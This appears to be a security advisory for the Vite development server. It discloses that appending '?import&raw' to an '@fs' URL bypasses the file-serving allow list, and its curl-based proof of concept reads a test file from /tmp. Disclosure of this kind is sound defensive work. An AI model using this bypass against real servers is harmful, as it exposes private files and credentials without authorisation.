### SummaryThe contents of arbitrary files can be returned to the browser.### Details`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.### PoC```sh$ npm create vite@latest$ cd vite-project/$ npm install$ npm run dev$ echo "top secret content" > /tmp/secret.txt# expected behaviour$ curl "http://localhost:5173/@fs/tmp/secret.txt"

403 Restricted

The request url "/tmp/secret.txt" is outside of Vite serving allow list.# security bypassed$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"export default "top secret content\n"//# sourceMappingURL=data:application/json;base64,eyJ2...```